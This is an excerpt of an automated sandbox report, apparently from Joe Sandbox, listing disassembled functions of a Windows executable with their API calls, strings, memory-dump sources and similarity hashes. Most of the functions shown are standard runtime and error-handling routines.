Function 00007FF652ED29C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF652ED8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED29F4

Part of subcall function 00007FF652ED8770: GetLastError.KERNEL32(00000000,00007FF652ED2A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED8797
Part of subcall function 00007FF652ED8770: FormatMessageW.KERNEL32 ref: 00007FF652ED87C6

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

MessageBoxW.USER32 ref: 00007FF652ED2AD0
MessageBoxA.USER32 ref: 00007FF652ED2AEC

Strings

Fatal error detected, xrefs: 00007FF652ED2AA6, 00007FF652ED2ADE
%s%s: %s, xrefs: 00007FF652ED2A4B

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: e540fe95cbcf3c4f9a9ac735379b1c9e9ae60ded60aea03e9d716fb219e4d584
Instruction ID: 77012e0bc45a50f451090e25d66a58c997f3d0b66e34991896ea0aa6732b4c0f
Opcode Fuzzy Hash: e540fe95cbcf3c4f9a9ac735379b1c9e9ae60ded60aea03e9d716fb219e4d584
Instruction Fuzzy Hash: A0318372628A9281E730DB10F8516EA6364FFC47C8F84513EE68DA7A99DF7CD605CB40

Function 00007FF652EEA83C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF652EEA861
GetProcAddress.KERNEL32 ref: 00007FF652EEA877
FreeLibrary.KERNEL32 ref: 00007FF652EEA89E

Strings

mscoree.dll, xrefs: 00007FF652EEA858
CorExitProcess, xrefs: 00007FF652EEA870

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2230a043baf354bfbc53885d3c0454218b923bdff90d2529a0827c645eda448d
Instruction ID: 453b6af5bd3276c8744376e144b0f12a859824e0d3f1b5ad21747277901d0f88
Opcode Fuzzy Hash: 2230a043baf354bfbc53885d3c0454218b923bdff90d2529a0827c645eda448d
Instruction Fuzzy Hash: 60F0C822B1961281FB14CB14FC493762320AF48758F58163DD96EA52E0CF7CD049C300

Function 00007FF652EFA420 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF652EFA448
_set_statfp.LIBCMT ref: 00007FF652EFA463
_set_statfp.LIBCMT ref: 00007FF652EFA47F
_set_statfp.LIBCMT ref: 00007FF652EFA4BB

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: 76320df5d3a2aa323283a08d25acff88b321842b32ddd231b2ef57166c6b0391
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: 77114C26E18A3301FA541968FC5F37B31416F59378F1C0A3DED6EEE7D68EACA9404204

Function 00007FF652EEC140 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF652EEB35B,?,?,00000000,00007FF652EEB5F6,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEC15F
FlsSetValue.KERNEL32(?,?,?,00007FF652EEB35B,?,?,00000000,00007FF652EEB5F6,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEC17E
FlsSetValue.KERNEL32(?,?,?,00007FF652EEB35B,?,?,00000000,00007FF652EEB5F6,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEC1A6
FlsSetValue.KERNEL32(?,?,?,00007FF652EEB35B,?,?,00000000,00007FF652EEB5F6,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEC1B7
FlsSetValue.KERNEL32(?,?,?,00007FF652EEB35B,?,?,00000000,00007FF652EEB5F6,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEC1C8

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 10ef7b20446d589d7543043f1c539080fe2d32c680aee76621b2f3de37225325
Instruction ID: bde152fcb718939de24e0540c0387afc69ff811c53b911d04445167de5cb40e3
Opcode Fuzzy Hash: 10ef7b20446d589d7543043f1c539080fe2d32c680aee76621b2f3de37225325
Instruction Fuzzy Hash: 72115B21F0C66341FA58A325AD4127921625F953B8F1C533DE83EF77DADEACE9418710

Function 00007FF652EEBFD4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF652EEBFE5
FlsSetValue.KERNEL32 ref: 00007FF652EEC004
FlsSetValue.KERNEL32 ref: 00007FF652EEC02C
FlsSetValue.KERNEL32 ref: 00007FF652EEC03D
FlsSetValue.KERNEL32 ref: 00007FF652EEC04E

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1cbfbab29873deef46e90a648d7a1f8795c58f1c293a930122e54ca216580eab
Instruction ID: cdc2394aa1b6935f94130d2580c91e3976bd9e4f6a439d7310929094302b390b
Opcode Fuzzy Hash: 1cbfbab29873deef46e90a648d7a1f8795c58f1c293a930122e54ca216580eab
Instruction Fuzzy Hash: 7F111711E0C22741FA69A335AC522BD12A25F4677CF2C173CD83EFA2D6DDBCB9428200

Function 00007FF652EE69F0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE6A2C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE6B56
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE6C0C

Strings

verbose, xrefs: 00007FF652EE6A00

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 0e1375701995164762774767e6acc307974a31e0cd050619d1c211530d762839
Instruction ID: e9401b1721d9d30f3831e2d12b45ef387a662f88f01b6bf8490cac09e98619b9
Opcode Fuzzy Hash: 0e1375701995164762774767e6acc307974a31e0cd050619d1c211530d762839
Instruction Fuzzy Hash: EE91C022A08A6741FB619E25D8603BD37A1EB42B9CF4C413ADA5DA73D5DFBCE4458340

Function 00007FF652EF0AA0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF0D7F

Part of subcall function 00007FF652EF71A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF71C1

Strings

ccs, xrefs: 00007FF652EF0CBA
UTF-8, xrefs: 00007FF652EF0CFE
UTF-16LEUNICODE, xrefs: 00007FF652EF0D1D

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: de4b53a7bd72cc9a75fc72bdb9aa8b7520de62a16ef0f4afa2e89dc7587c8b22
Instruction ID: 3bf0a956d6e36c34e37c1a363e213d2fd593eae589b754b957d2542478f37f57
Opcode Fuzzy Hash: de4b53a7bd72cc9a75fc72bdb9aa8b7520de62a16ef0f4afa2e89dc7587c8b22
Instruction Fuzzy Hash: 4F818632E0862285FA774F29E9502BA36A0AB11B4CF5D8039CA0DF729DDFBDF5059701

Function 00007FF652EDCF80 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF652EDCFAB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF652EDD042
RtlUnwindEx.KERNEL32 ref: 00007FF652EDD09C

Strings

csm, xrefs: 00007FF652EDD029

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 81dbbe3a269521ccb6618414f5b7d9ba6a400a48ab9a514a04d3b64c82b69e43
Instruction ID: 942f6b07ac4a1daa3224efcf2cd10f6b3d47a6dee52df6b7e60e408bcc17dfb8
Opcode Fuzzy Hash: 81dbbe3a269521ccb6618414f5b7d9ba6a400a48ab9a514a04d3b64c82b69e43
Instruction Fuzzy Hash: DD51B063B196228ADB14CB15E84467D37A6EBC4B9CF58813CDA4A93788DFBDE841C700

Function 00007FF652EDF800 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF652EDF85F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF652EDF8AB

Strings

MOC, xrefs: 00007FF652EDF873
RCC, xrefs: 00007FF652EDF87B

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 93010d95ed42164ec617659bf15c462d53d81a38e330ec23f798dc78275aa1b2
Instruction ID: 3c14d8127056432f41124ee53c90e737feeae5ad7fad9d369909fc37c72f13f7
Opcode Fuzzy Hash: 93010d95ed42164ec617659bf15c462d53d81a38e330ec23f798dc78275aa1b2
Instruction Fuzzy Hash: C0619432908BC585EB20DB15E8403AAB7A0FBC4798F08422DEB9D57B55DFBCE194CB00

Function 00007FF652EDFBB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF652EDFBD8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF652EDFCC0

Strings

csm, xrefs: 00007FF652EDFBFA
csm, xrefs: 00007FF652EDFD12

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 7fe73a2a5521307b3718a11731218a5d657cd704d90c9c291f237acf2a87c54e
Instruction ID: fc25f36874ac82e5dd5ab85346afc6a64d1a883e0031156948d02aaf10905d5b
Opcode Fuzzy Hash: 7fe73a2a5521307b3718a11731218a5d657cd704d90c9c291f237acf2a87c54e
Instruction Fuzzy Hash: 8F518F3290866286EB64CB1198443A97790FB95B8CF1C413EDE8DA7BC5CFBCE461C705

Function 00007FF652ED2870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

MessageBoxW.USER32 ref: 00007FF652ED297B
MessageBoxA.USER32 ref: 00007FF652ED2997

Strings

Fatal error detected, xrefs: 00007FF652ED2951, 00007FF652ED2989
%s%s: %s, xrefs: 00007FF652ED28F6

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: bd3b1ec170c9362c6821fd135409a0077202d763314442d1f4ebee1409f7e8bb
Instruction ID: fd621e8eea7fff6d0b95926d565b9a533eeb75abb55fa07af4f7e9ca9e979523
Opcode Fuzzy Hash: bd3b1ec170c9362c6821fd135409a0077202d763314442d1f4ebee1409f7e8bb
Instruction Fuzzy Hash: CD31767262869281E720DB10F8516DA6364FFC47C8F84513EE78DA7A99DF7CD605CB40

Function 00007FF652ED4340 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

CreateFileW.KERNEL32(00000000,?,?,00007FF652ED3FB9,?,00007FF652ED39CA), ref: 00007FF652ED43A8
GetFinalPathNameByHandleW.KERNEL32(?,?,00007FF652ED3FB9,?,00007FF652ED39CA), ref: 00007FF652ED43C8
CloseHandle.KERNEL32(?,?,00007FF652ED3FB9,?,00007FF652ED39CA), ref: 00007FF652ED43D3

Strings

\\?\, xrefs: 00007FF652ED43F7

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Handle$ByteCharCloseCreateFileFinalMultiNamePathWide
String ID: \\?\
API String ID: 2226452419-4282027825
Opcode ID: 73aa29fffb20bf18054ec36f2ff632c499c886adceaf3567ccea49c9f56a016a
Instruction ID: 5c60f338cc06f4c95d085e19e78e5ae37600b3bb0d81218b81875bf9327b330d
Opcode Fuzzy Hash: 73aa29fffb20bf18054ec36f2ff632c499c886adceaf3567ccea49c9f56a016a
Instruction Fuzzy Hash: 0E21E172B1866145E720DB21FC407AA6251EBC87D8F480239DF4DA3A94DFBCE549CB00

Function 00007FF652EED350 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF652EED3CF
WriteFile.KERNEL32 ref: 00007FF652EED697
WriteFile.KERNEL32 ref: 00007FF652EED6DD
GetLastError.KERNEL32 ref: 00007FF652EED793

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f3307fa9b22cd1c245fea77c51432e5876b76cda8032067fabe2ab74fde9908f
Instruction ID: f5116993726ccefbdaff86af03f817a587ed6b232122ef8f495c24fd00cf2da9
Opcode Fuzzy Hash: f3307fa9b22cd1c245fea77c51432e5876b76cda8032067fabe2ab74fde9908f
Instruction Fuzzy Hash: BCD1EF72B08A9299E711CF69D8402EC3BB9FB4479CB184239DE5DE7B99DE78D406C340

Function 00007FF652EE6044 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF652EE6077
GetFileInformationByHandle.KERNEL32 ref: 00007FF652EE60D9
GetLastError.KERNEL32 ref: 00007FF652EE616A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF652EE5F7C), ref: 00007FF652EE61B6

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 96091dbd27bcc0a8deeeb26956a1675b21701702191f3790d8b7488761ccdccb
Instruction ID: ecd5f9050075c7e9eaf7bfb47e2cdff5a967b214d5427e8405fb9b83ce7b03d8
Opcode Fuzzy Hash: 96091dbd27bcc0a8deeeb26956a1675b21701702191f3790d8b7488761ccdccb
Instruction Fuzzy Hash: 06518022E086628AF714DFB0DC503BD33B1AB49B9CF189539DE0DA768ADFB8D5458350

Function 00007FF652ED2310 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF652ED2344
SetWindowLongPtrW.USER32 ref: 00007FF652ED2366
GetWindowLongPtrW.USER32 ref: 00007FF652ED2390
InvalidateRect.USER32 ref: 00007FF652ED23B0

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: c8ffd58409c2a817e2eafc26a907e7367a815fa90807bfabd45e1aee5e5800ec
Instruction ID: 74cdf1ea60d4995b67125f4fa29445a35be23e980b965b7ed723d3fb7ed3a19f
Opcode Fuzzy Hash: c8ffd58409c2a817e2eafc26a907e7367a815fa90807bfabd45e1aee5e5800ec
Instruction Fuzzy Hash: 7E11E521E1816343FB549B6AFD442BE6291EFC8BC8F5C903CDA49A6B9ACDACD4C54204

Function 00007FF652EF6A6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652EF25B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF25E3

_get_daylight.LIBCMT ref: 00007FF652EF6B84
_get_daylight.LIBCMT ref: 00007FF652EF6B95

Strings

?, xrefs: 00007FF652EF6B15

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 8b6f824ce68226522039b5681d667a4258c25c0b371a8f4ef00d3752ae492e10
Instruction ID: 2ab370ddfa47d20a98c9ac7a1e0cef6ec6bafab2b3a5dda09fd35152a610116e
Opcode Fuzzy Hash: 8b6f824ce68226522039b5681d667a4258c25c0b371a8f4ef00d3752ae492e10
Instruction Fuzzy Hash: 15410812A086A247FB249B25BC1137B6650EB827ACF18423DEE6C96AD9DFBCD441C700

Function 00007FF652EE9DC8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE9DFA

Part of subcall function 00007FF652EEB700: RtlFreeHeap.NTDLL(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB716
